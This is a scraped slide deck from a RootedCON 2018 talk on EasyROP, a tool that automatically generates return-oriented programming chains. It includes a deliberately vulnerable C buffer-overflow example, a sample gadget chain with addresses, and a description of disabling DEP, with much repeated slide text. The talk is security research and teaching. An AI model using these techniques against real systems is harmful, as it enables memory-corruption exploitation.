Roughly speaking, what can an adversary perform using ROP attacks?
Evaluation of executional adversary power in different OSes
More in 32-bit than in 64-bit systems
Enough gadgets to conform all Turing-machine operations (shell32.dll +
{ntdll.dll, kernel32.dll})
All operations but conditional jumps (ntdll.dll)
Conditional jumps are unusual operations when exploiting
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 39 / 41
Conclusions
Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 40 / 41
When ROP meets Turing: Automatic Generation of
ROP Chains using Turing-Complete Instruction Sets
Daniel Uroz, Ricardo J. Rodríguez
danieluroz@protonmail.com, rjrodriguez@unizar.es
All wrongs reversed
ZARAGOZA
DO
CENDI
DISCEN
DI
NOS
VN
IT
ANIM
VS
2009
CENTRO UNIVERSITARIO DE LA DEFENS
A
March 01, 2018
RootedCON 2018
Madrid, Spain

More Related Content

PPT
Ilfak Guilfanov - Decompiler internals: Microcode [rooted2018]
PDF
Inside Winnyp
PDF
Zero bugs found? Hold my beer AFL! how to improve coverage-guided fuzzing and...
PDF
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...
PDF
A Hypervisor IPS based on Hardware Assisted Virtualization Technology
PPTX
Eloi Sanfelix - Hardware security: Side Channel Attacks [RootedCON 2011]
PDF
Hacking the Gateways
PDF
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...
Ilfak Guilfanov - Decompiler internals: Microcode [rooted2018]
Inside Winnyp
Zero bugs found? Hold my beer AFL! how to improve coverage-guided fuzzing and...
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...
A Hypervisor IPS based on Hardware Assisted Virtualization Technology
Eloi Sanfelix - Hardware security: Side Channel Attacks [RootedCON 2011]
Hacking the Gateways
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...

What's hot (20)

PDF
Sergi Álvarez + Roi Martín - radare2: From forensics to bindiffing [RootedCON...
PDF
Linux Security APIs and the Chromium Sandbox
PDF
NSC #2 - Challenge Solution
PPTX
Secure coding for developers
PDF
José Miguel Esparza - Obfuscation and (non-)detection of malicious PDF files ...
PDF
Chromium Sandbox on Linux (NDC Security 2019)
PDF
Laura Garcia - Shodan API and Coding Skills [rooted2019]
PPTX
[CB16] The ARMs race for kernel protection by Jonathan Levin
PPTX
1300 david oswald id and ip theft with side-channel attacks
PDF
Chromium Sandbox on Linux (BlackHoodie 2018)
PDF
Tricky sample? Hack it easy! Applying dynamic binary inastrumentation to ligh...
ODP
Joxean Koret - Database Security Paradise [Rooted CON 2011]
PDF
The Postmodern Binary Analysis
PDF
Raptor web application firewall
PDF
Understand study
PDF
Introduction to Memory Exploitation (CppEurope 2021)
PPTX
ShinoBOT Suite
PDF
The day I ruled the world (RootedCON 2020)
PDF
The Python bites your apple
Sergi Álvarez + Roi Martín - radare2: From forensics to bindiffing [RootedCON...
Linux Security APIs and the Chromium Sandbox
NSC #2 - Challenge Solution
Secure coding for developers
José Miguel Esparza - Obfuscation and (non-)detection of malicious PDF files ...
Chromium Sandbox on Linux (NDC Security 2019)
Laura Garcia - Shodan API and Coding Skills [rooted2019]
[CB16] The ARMs race for kernel protection by Jonathan Levin
1300 david oswald id and ip theft with side-channel attacks
Chromium Sandbox on Linux (BlackHoodie 2018)
Tricky sample? Hack it easy! Applying dynamic binary inastrumentation to ligh...
Joxean Koret - Database Security Paradise [Rooted CON 2011]
The Postmodern Binary Analysis
Raptor web application firewall
Understand study
Introduction to Memory Exploitation (CppEurope 2021)
ShinoBOT Suite
The day I ruled the world (RootedCON 2020)
The Python bites your apple
Ad

Similar to Ricardo J. Rodríguez & Daniel Uroz - When ROP meets Turing: Automatic Generation of ROP Chains using Turing-Complete Instruction Sets [rooted2018] (20)

PDF
Return Oriented Programming - ROP
PDF
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
DOCX
Report on hacking blind
PDF
Course lecture - An introduction to the Return Oriented Programming
PDF
Advanced Arm Exploitation
PDF
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
PDF
Return Oriented Programming
PDF
Riding the Overflow - Then and Now
PDF
Buffer overflow tutorial
PDF
CNIT 127 14: Protection Mechanisms
PDF
Exploitation Crash Course
PDF
AllBits presentation - Lower Level SW Security
PDF
Smashing the Buffer
PPTX
fjfh mjgkj jkhglkjh jhlkh lhlkkhl kjhjkhjk
PPTX
Buffer overflow
PPTX
Buffer overflow
PDF
CNIT 127 14: Protection Mechanisms
PPTX
Hacking Blind
PPTX
Hacking blind
PDF
Buffer overflow attacks
Return Oriented Programming - ROP
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Report on hacking blind
Course lecture - An introduction to the Return Oriented Programming
Advanced Arm Exploitation
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
Return Oriented Programming
Riding the Overflow - Then and Now
Buffer overflow tutorial
CNIT 127 14: Protection Mechanisms
Exploitation Crash Course
AllBits presentation - Lower Level SW Security
Smashing the Buffer
fjfh mjgkj jkhglkjh jhlkh lhlkkhl kjhjkhjk
Buffer overflow
Buffer overflow
CNIT 127 14: Protection Mechanisms
Hacking Blind
Hacking blind
Buffer overflow attacks
Ad

More from RootedCON (20)

PDF
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
PDF
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
PDF
Rooted2020 hunting malware-using_process_behavior-roberto_amado
PPSX
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
PDF
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
PPTX
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
PPTX
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
PPTX
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
PDF
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
PDF
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemy
PPTX
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
PPTX
Rooted2020 virtual pwned-network_-_manel_molina
PDF
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
PDF
Rooted2020 todo a-siem_-_marta_lopez
PPTX
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
PDF
Rooted2020 live coding--_jesus_jara
PDF
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
PDF
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
PDF
Rooted2020 evading deep-learning_malware_detectors_-_javier_yuste
PDF
Rooted2020 encontrando 0days-en_2020_-_antonio_morales
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
Rooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemy
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
Rooted2020 virtual pwned-network_-_manel_molina
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
Rooted2020 todo a-siem_-_marta_lopez
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
Rooted2020 live coding--_jesus_jara
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
Rooted2020 evading deep-learning_malware_detectors_-_javier_yuste
Rooted2020 encontrando 0days-en_2020_-_antonio_morales

Recently uploaded (20)

PPTX
Spectroscopy.pptx food analysis technology
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PPTX
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PPTX
1. Introduction to Computer Programming.pptx
PPTX
Programs and apps: productivity, graphics, security and other tools
PDF
Approach and Philosophy of On baking technology
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
Encapsulation theory and applications.pdf
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
gpt5_lecture_notes_comprehensive_20250812015547.pdf
PDF
Machine learning based COVID-19 study performance prediction
PPTX
cloud_computing_Infrastucture_as_cloud_p
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Spectroscopy.pptx food analysis technology
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Mobile App Security Testing_ A Comprehensive Guide.pdf
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
Building Integrated photovoltaic BIPV_UPV.pdf
MIND Revenue Release Quarter 2 2025 Press Release
Reach Out and Touch Someone: Haptics and Empathic Computing
1. Introduction to Computer Programming.pptx
Programs and apps: productivity, graphics, security and other tools
Approach and Philosophy of On baking technology
Spectral efficient network and resource selection model in 5G networks
Unlocking AI with Model Context Protocol (MCP)
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Encapsulation theory and applications.pdf
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
gpt5_lecture_notes_comprehensive_20250812015547.pdf
Machine learning based COVID-19 study performance prediction
cloud_computing_Infrastucture_as_cloud_p
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...

Ricardo J. Rodríguez & Daniel Uroz - When ROP meets Turing: Automatic Generation of ROP Chains using Turing-Complete Instruction Sets [rooted2018]

  • 1. When ROP meets Turing: Automatic Generation of ROP Chains using Turing-Complete Instruction Sets Daniel Uroz, Ricardo J. Rodríguez [email protected], [email protected] All wrongs reversed ZARAGOZA DO CENDI DISCEN DI NOS VN IT ANIM VS 2009 CENTRO UNIVERSITARIO DE LA DEFENS A March 01, 2018 RootedCON 2018 Madrid, Spain
  • 2. $whoami Teruel existe! Graduado en Informática (2016) Analista de malware en Grupo S21sec :D Miembro de CLS (2001) Ph.D. en Informática (2013) Profesor en Centro Universitario de la Defensa, AGM (Zaragoza) Líneas de investigación Security-driven engineering Análisis de malware Seguridad RFID/NFC Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 2 / 41
  • 3. Agenda 1 Introduction 2 EasyROP: Description of the tool 3 Executional Adversary Power in Windows OSes 4 Case Study: CVE-2010-3333 5 Related Work 6 Conclusions Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 3 / 41
  • 4. Agenda 1 Introduction 2 EasyROP: Description of the tool 3 Executional Adversary Power in Windows OSes 4 Case Study: CVE-2010-3333 5 Related Work 6 Conclusions Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 4 / 41
  • 5. Introduction Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 5 / 41
  • 6. Introduction Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 5 / 41
  • 7. Introduction Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 5 / 41
  • 8. Introduction Johnson, P.; Gorton, D.; Lagerström, R. & Ekstedt, M. Time between vulnerability disclosures: A measure of software product vulnerability.Computers & Security, 2016, 62, 278-295. doi: 10.1016/j.cose.2016.08.004 Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 6 / 41
  • 9. Introduction ∗Past performance is not guarantee of future results Johnson, P.; Gorton, D.; Lagerström, R. & Ekstedt, M. Time between vulnerability disclosures: A measure of software product vulnerability.Computers & Security, 2016, 62, 278-295. doi: 10.1016/j.cose.2016.08.004 Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 6 / 41
  • 10. Introduction Software systems are large and complex Fixed time-to-market urges developers to finish as soon as possible Who cares of software quality? (or other attributes) Consequence: software vulnerabilities on the rise 6 to 16 software bugs per 1,000 lines of code (approximately) Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 7 / 41
  • 11. Introduction Presence of software memory errors → control-flow hijacking attacks Legitimate control-flow of the program is hijacked Arbitrary code inserted AND executed by the adversary Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 8 / 41
  • 12. Introduction Presence of software memory errors → control-flow hijacking attacks Legitimate control-flow of the program is hijacked Arbitrary code inserted AND executed by the adversary Different defense approaches Control-flow integrity approaches (e.g., type-safe languages, stack cookies, inline software guards) Isolate malicious code prior execution (e.g., tainting, run-time elimination, W⊕X) Further reading: van der Veen, V.; dutt Sharma, N.; Cavallaro, L. & Bos, H. Memory Errors: The Past, the Present, and the Future. Proceedings of the 15th International Symposium on Research in Attacks, Intrusions, and Defenses (RAID), Springer Berlin Heidelberg, 2012, 86-106. doi: 10.1007/978-3-642-33338-5_5 Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 8 / 41
  • 13. Introduction W⊕X – Write-xor-Execute memory pages Widely used defense mechanism against control-flow hijacking attacks Almost every current OS incorporates it natively Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 9 / 41
  • 14. Introduction W⊕X – Write-xor-Execute memory pages Widely used defense mechanism against control-flow hijacking attacks Almost every current OS incorporates it natively Concept: memory pages are either writable or executable, but not both That is, the adversary may still inject code. However, execution is prevented Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 9 / 41
  • 15. Introduction W⊕X – Write-xor-Execute memory pages Hardware support NX-bit on AMD Athlon 64 XD-bit on Intel P4 Prescott Software support Linux (via PaX project); OpenBSD Windows, since XP SP2 (aka Data Execution Prevention, DEP) Windows to rename every f***ing single thing Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 10 / 41
  • 16. Introduction Recap on stack-based buffer overflows 1 void readName(){ 2 char username[256]; 3 printf("Type user name: "); 4 scanf(" %s", username); 5 } readName: push ebp mov ebp, esp sub esp, 264 sub esp, 12 push OFFSET FLAT:.LC0 call printf add esp, 16 sub esp, 8 lea eax, [ebp -264] push eax push OFFSET FLAT:.LC1 call __isoc99_scanf add esp, 16 leave ret . . . − %esp→ @username ← %ebp - 0x108  %ebp→ %ebp @rtn address . . . + Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 11 / 41
  • 17. Introduction Recap on stack-based buffer overflows 1 void readName(){ 2 char username[256]; 3 printf("Type user name: "); 4 scanf(" %s", username); 5 } readName: push ebp mov ebp, esp sub esp, 264 sub esp, 12 push OFFSET FLAT:.LC0 call printf add esp, 16 sub esp, 8 lea eax, [ebp -264] push eax push OFFSET FLAT:.LC1 call __isoc99_scanf add esp, 16 leave ret . . . − %esp→ @username ← %ebp - 0x108  %ebp→ %ebp @rtn address . . . + Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 11 / 41
  • 18. Introduction Recap on stack-based buffer overflows 1 void readName(){ 2 char username[256]; 3 printf("Type user name: "); 4 scanf(" %s", username); 5 } readName: push ebp mov ebp, esp sub esp, 264 sub esp, 12 push OFFSET FLAT:.LC0 call printf add esp, 16 sub esp, 8 lea eax, [ebp -264] push eax push OFFSET FLAT:.LC1 call __isoc99_scanf add esp, 16 leave ret What if username is > 0x108 bytes long? Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 11 / 41
  • 19. Introduction Recap on stack-based buffer overflows 1 void readName(){ 2 char username[256]; 3 printf("Type user name: "); 4 scanf(" %s", username); 5 } readName: push ebp mov ebp, esp sub esp, 264 sub esp, 12 push OFFSET FLAT:.LC0 call printf add esp, 16 sub esp, 8 lea eax, [ebp -264] push eax push OFFSET FLAT:.LC1 call __isoc99_scanf add esp, 16 leave ret . . . − %esp→ @username ← %ebp - 0x108  %ebp→ %ebp @rtn address (shellcode begins) ... + What if username is > 0x108 bytes long? Adjacent memory to username is overwritten Arbitrary code execution: ret pops the value from stack when function returns and set it in %eip)! Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 11 / 41
  • 20. Introduction Defeating W⊕X protection Control-flow is redirected to the stack W⊕X prevents execution. Roughly speaking, you’re fucked Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 12 / 41
  • 21. Introduction Defeating W⊕X protection Control-flow is redirected to the stack W⊕X prevents execution. Roughly speaking, you’re fucked Wait a minute! Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 12 / 41
  • 22. Introduction Defeating W⊕X protection Control-flow is redirected to the stack W⊕X prevents execution. Roughly speaking, you’re fucked Wait a minute! IDEA Since we can write the stack... write memory addresses that point to ALREADY EXISTING code → Return-Oriented Programming (ROP) Namely, to memory pages that already have execution privileges Since they can execute, they are not detected by W⊕X protection Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 12 / 41
  • 23. Introduction Defeating W⊕X protection Control-flow is redirected to the stack W⊕X prevents execution. Roughly speaking, you’re fucked Wait a minute! IDEA Since we can write the stack... write memory addresses that point to ALREADY EXISTING code → Return-Oriented Programming (ROP) Namely, to memory pages that already have execution privileges Since they can execute, they are not detected by W⊕X protection ROP enables an adversary to induce arbitrary execution behavior while injecting no code (just addresses to existing code!) Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 12 / 41
  • 24. Introduction Return-Oriented-Programming attacks ROP attacks Hijack control-flow without executing new code Redirect control-flow to chunks of code already available in the memory space of the process Recall x86 ISA has variable size! ROP gadget: set of instructions that ends with retn b8 89 41 08 c3 mov eax, 0xc3084189 89 41 08 mov [ecx+8], eax c3 ret . . . esp → 0x7c37638d → xor ecx, ecx; ret 0x7c341591 → neg ecx; ret 0x7c367042 → adc eax, ebx; ret 0x7c34779f → pop ecx; ret 0x5d345e7f 0x7c347f97 → mov [ecx], eax; ret . . . Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 13 / 41
  • 25. Introduction Adversary controls the order of execution of ROP gadgets ROP chain: set of ROP gadgets chained by the adversary Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 14 / 41
  • 26. Introduction Adversary controls the order of execution of ROP gadgets ROP chain: set of ROP gadgets chained by the adversary How to defeat W⊕X protection? Build a ROP chain to deactivate the protection! First, set CPU registers to specific values. Then, Execute memprot() syscall in GNU/Linux Execute SetDEPProcessPolicy() in Windows . . . Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 14 / 41
  • 27. Introduction Adversary controls the order of execution of ROP gadgets ROP chain: set of ROP gadgets chained by the adversary How to defeat W⊕X protection? Build a ROP chain to deactivate the protection! First, set CPU registers to specific values. Then, Execute memprot() syscall in GNU/Linux Execute SetDEPProcessPolicy() in Windows . . . Executional adversary power Depends on the already existing code in the process’s memory space Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 14 / 41
  • 28. Introduction Church-Turing hypothesis Any real world computation can be translated into an equivalent computation involving a Turing machine Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 15 / 41
  • 29. Introduction Church-Turing hypothesis Any real world computation can be translated into an equivalent computation involving a Turing machine Under this hypothesis, we can build a Turing-machine that performs equivalent computations as the ones performed by a ROP chain Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 15 / 41
  • 30. Introduction Turing-machine operations Load a constant into a register (lc) Move a register to another register (move) Load a value from memory (load) Store a value into memory (store) Add and subtract a value from memory (add and sub, respectively) Perform logic operations (xor, and, or, not) Simplification by De Morgan’s Laws: and/or + xor/not Perform conditional jumps (cond1, cond2) First, transfer the value of a conditional flag to a general purpose register Then, use such a register as an offset to modify the stack pointer register Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 16 / 41
  • 31. Introduction Turing-machine operations defined as ROP gadgets xchg dst, src; push src; xor dst, dst; xor dst, dst; ret; pop dst; ret; ret; ret; add dst, src; neg src; ret; ret; sub dst, src; ret; Examples of Move a register to another register (move) operation Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 17 / 41
  • 32. Introduction Turing-machine operations defined as ROP gadgets xchg dst, src; push src; xor dst, dst; xor dst, dst; ret; pop dst; ret; ret; ret; add dst, src; neg src; ret; ret; sub dst, src; ret; Examples of Move a register to another register (move) operation Work Hypothesis If we find at least a single gadget that allow to perform each of those Turing-machine operations, we can solve any computational problem Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 17 / 41
  • 33. Introduction Goal: evaluate (easily) the executional adversary power Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 18 / 41
  • 34. Introduction Goal: evaluate (easily) the executional adversary power Main contributions EasyROP tool Input: binary + ROP chain (specified as Turing operations) Output: set of ROP gadgets to implement such a chain Evaluation of the executional adversary power in Windows OSes Still the predominant platform of attacks 32-bits and 64-bits versions Example of ROP chain generation with a real vulnerability Namely, CVE-2010-3333 Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 18 / 41
  • 35. Agenda 1 Introduction 2 EasyROP: Description of the tool 3 Executional Adversary Power in Windows OSes 4 Case Study: CVE-2010-3333 5 Related Work 6 Conclusions Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 19 / 41
  • 36. EasyROP: Tool Description Analysis Multi-platform Automate building of ROP chains using sequences of Turing operations Allow extension (other architectures, user-defined operations) Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 20 / 41
  • 37. EasyROP: Tool Description Analysis Multi-platform Automate building of ROP chains using sequences of Turing operations Allow extension (other architectures, user-defined operations) External tools used Python3 + pefile Capstone Disassembly Framework Our tool is part of the Capstone’s showcases! XML Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 20 / 41
  • 38. EasyROP: Description of the tool Features Automate the creation of ROP chains add(reg2, reg1) lc(reg3) store(reg3, reg2) Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 21 / 41
  • 39. EasyROP: Description of the tool Features Automate the creation of ROP chains add(reg2, reg1) lc(reg3) store(reg3, reg2) −→ xor ecx, ecx; ret neg ecx; ret adc eax, ebx; ret pop ecx; ret mov [ecx], eax; ret Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 21 / 41
  • 40. EasyROP: Description of the tool Features Creation of user-specified operation using XML [src]: direcci´on de fuente alojada en un registro. {eax, ebx, ecx...}: registro espec´ıfico de prop´osito general. [{eax, ebx, ecx...}]: direcci´on alojada en un registro espec´ıfico de prop´osito general. <reg{1,2} value ="0xFFFFFFFF">: valor obligatorio del registro. <?xml version="1.0" encoding="UTF−8"?> <!DOCTYPE operations [ <!ELEMENT operations (operation)+> <!ELEMENT operation (set)+> <!ATTLIST operation name CDATA #REQUIRED> <!ELEMENT set (ins)+> <!ELEMENT ins (reg1 | reg2)∗> <!ATTLIST ins mnemonic CDATA #REQUIRED> <!ELEMENT reg1 (#PCDATA)> <!ATTLIST reg1 value CDATA #IMPLIED> <!ELEMENT reg2 (#PCDATA)> <!ATTLIST reg2 value CDATA #IMPLIED> ]> <operations> <operation name="move"> <set> <ins mnemonic="xor"> <reg1>dst</reg1>Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 22 / 41
  • 41. EasyROP: Description of the tool Features Creation of user-specified operation using XML [src]: direcci´on de fuente alojada en un registro. {eax, ebx, ecx...}: registro espec´ıfico de prop´osito general. [{eax, ebx, ecx...}]: direcci´on alojada en un registro espec´ıfico de prop´osito general. <reg{1,2} value ="0xFFFFFFFF">: valor obligatorio del registro. <?xml version="1.0" encoding="UTF−8"?> <!DOCTYPE operations [ <!ELEMENT operations (operation)+> <!ELEMENT operation (set)+> <!ATTLIST operation name CDATA #REQUIRED> <!ELEMENT set (ins)+> <!ELEMENT ins (reg1 | reg2)∗> <!ATTLIST ins mnemonic CDATA #REQUIRED> <!ELEMENT reg1 (#PCDATA)> <!ATTLIST reg1 value CDATA #IMPLIED> <!ELEMENT reg2 (#PCDATA)> <!ATTLIST reg2 value CDATA #IMPLIED> ]> <operations> <operation name="move"> <set> <ins mnemonic="xor"> <reg1>dst</reg1> 8 <!ELEMENT ins (reg1 | reg2)∗> 9 <!ATTLIST ins 10 mnemonic CDATA #REQU 11 <!ELEMENT reg1 (#PCDATA)> 12 <!ATTLIST reg1 13 value CDATA #IMPLIED> 14 <!ELEMENT reg2 (#PCDATA)> 15 <!ATTLIST reg2 16 value CDATA #IMPLIED> 17 ]> 18 <operations> 19 <operation name="move"> 20 <set> 21 <ins mnemonic="xor"> 22 <reg1>dst</reg1> 23 <reg2>dst</reg2> 24 </ins> 25 <ins mnemonic="add"> 26 <reg1>dst</reg1> 27 <reg2>src</reg2> 28 </ins> 29 </set> 30 </operation> 31 </operations> C´odigo 3.1: Fichero XML con su DT un conjunto. Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 22 / 41
  • 42. EasyROP: Description of the tool Release notes Released under GNU GPLv3 license, hosted on GitHub: https://github.com/uZetta27/EasyROP Page 1 of 1 Page 1 of 1 30/09/2016file:///C:/Users/uzett/Downloads/Octicons-mark-github.svg Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 23 / 41
  • 43. Agenda 1 Introduction 2 EasyROP: Description of the tool 3 Executional Adversary Power in Windows OSes 4 Case Study: CVE-2010-3333 5 Related Work 6 Conclusions Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 24 / 41
  • 44. Executional Adversary Power in Windows OSes Experimental test-bed Search for all Turing-machine operations on Windows Subset of KnownDLLs Windows object (+ ntdll.dll) Contains most used system DLLs: advapi32.dll, comdlg32.dll, gdi32.dll, kernel32.dll, ole32.dll, rpcrt4.dll, shell32.dll,user32.dll, wldap32.dll ntdll.dll is part of Windows PE loader (always in memory!) Test environment Intel Core i7, 8GB RAM, 256 GB SSD Oracle VirtualBox: 4GB RAM, 32GB HDD Operating Systems (32/64 bits) Windows XP Professional Windows 7 Professional Windows 8.1 Pro Windows 10 Education Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 25 / 41
  • 45. Executional Adversary Power in Windows OSes Experimental test-bed Search for all Turing-machine operations on Windows Subset of KnownDLLs Windows object (+ ntdll.dll) Contains most used system DLLs: advapi32.dll, comdlg32.dll, gdi32.dll, kernel32.dll, ole32.dll, rpcrt4.dll, shell32.dll,user32.dll, wldap32.dll ntdll.dll is part of Windows PE loader (always in memory!) Test environment Intel Core i7, 8GB RAM, 256 GB SSD Oracle VirtualBox: 4GB RAM, 32GB HDD Operating Systems (32/64 bits) Windows XP Professional Windows 7 Professional Windows 8.1 Pro Windows 10 Education Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez) March 01, 2018 25 / 41
